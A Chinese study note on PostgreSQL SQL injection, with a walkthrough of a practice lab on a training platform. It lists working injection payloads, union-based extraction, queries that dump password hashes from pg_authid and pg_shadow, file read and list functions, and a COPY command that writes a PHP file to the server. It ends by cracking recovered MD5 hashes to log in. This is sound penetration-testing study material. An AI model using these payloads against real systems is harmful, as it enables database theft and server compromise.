PostgreSQL注入学习

注入准备

注释符:--(#在PostgreSQL中是异或符)

判断数据库类型:

?id = 1 and 1::int=1

::是类型转换的符号,MySQL和Oracle数据库均没有

判断整型:

?id = 2 - 1
?id = 2 # 1

判断字符型(pg字符型只有单引号):

?id=1' and '1' = '1

基本语句

1.延迟语句:

select pg_sleep();

2.查看版本信息

select version();

3.获取用户名/hash

select user; 
select current_user;  # 当前数据库用户
select session_user;  # 会话用户
select usename from pg_user;
select getpgusername();

获取用户名和hash(需要postgres用户权限):

select rolname,rolpassword from pg_authid;
select usename,passwd from pg_shadow;

4.查看当前数据库

select current_database();

5.条件判断语句(没有if函数)

select case when 1=1 then 1 else 0 end;

6.字符串处理

(1)拼接

str1 || str2

示例:

test=# select * from test1 where name = 'ad'||'min';
 id | name  |  pass  
----+-------+--------
  2 | admin | 666666
(1 row)

(2)替换

overlay(string placing string from int [for int])

示例:

test=# select * from test1 where name = overlay('admix' placing 'n' from 5);
 id | name  |  pass  
----+-------+--------
  2 | admin | 666666
(1 row)

7.获取模式名称

select schemaname from pg_tables;

用户创建的数据库默认模式名称为public

当前模式:

select current_schema();

8.联合查询注入流程

1.首先要判断表中列的个数:

?id=1 order by 2

2.联合查询,查询的类型要和前面的字段类型相似,这里可以用null代替,例如(假设有四个字段):

?id=1 union select null,null,null,null

之后便可一个位置一个位置的替换猜解

9.获取数据库名、表名、字段名、数据

获取数据库名:

select datname from pg_database;

获取表名:

select relname from pg_stat_user_tables;
select tablename from pg_tables where schemaname IN ('public');

获取列名:

select column_name from information_schema.columns where table_name = 'xxx';

获取数据:
直接用select * ...会查到很多列,下面这条语句用||将各列数据进行拼接:

select * from(select id||','||name||','||pass from test1)a;

之后搭配limit ... offset ...语句便可查出所有数据

limit y 分句表示: 读取 y 条数据

limit y offset x 分句表示: 跳过 x 条数据,读取 y 条数据

10.CAST的使用

转换数据类型,例如:

cast(1 as int)
cast(version() as text)
cast(version() as varchar(20))

11.ascii码的转换

chr():转字符

ascii():转ascii码

目录/文件操作

1.列目录;只能列当前目录及其子目录下的文件:

select pg_ls_dir('./');

2.写文件;要有相关权限

copy (select '<?php phpinfo();?>') to '/tmp/2.php';

3.读文件;只能读当前目录及其子目录下的文件

select pg_read_file('');

题目练习

练习平台:

https://www.mozhe.cn/

启动靶机后,可以发现公告处就是注入点;首先用order by判断出有4列,然后查数据

1.查表名:

?id=0 union select null,null,(select relname from pg_stat_user_tables limit 1),null
# reg_users

?id=0 union select null,null,(select relname from pg_stat_user_tables limit 1 offset 1),null
# notice

2.查字段名:

?id=0 union select null,null,(select column_name from information_schema.columns where table_name='reg_users' limit 1 offset 2),null
# id name password status

?id=0 union select null,null,(select column_name from information_schema.columns where table_name='content' limit 1 offset 2),null
# id title content time

3.查数据:

reg_users表中查出两条数据:

name   password
mozhe2 1c63129ae9db9c60c3e8aa94d3e00495

mozhe1 bc186f13836c17bcc3399b9eeae566df

4.反查md5值,得到mozhe1的密码为341543,mozhe2的密码为1qaz2wsx(被禁用了),登录获得key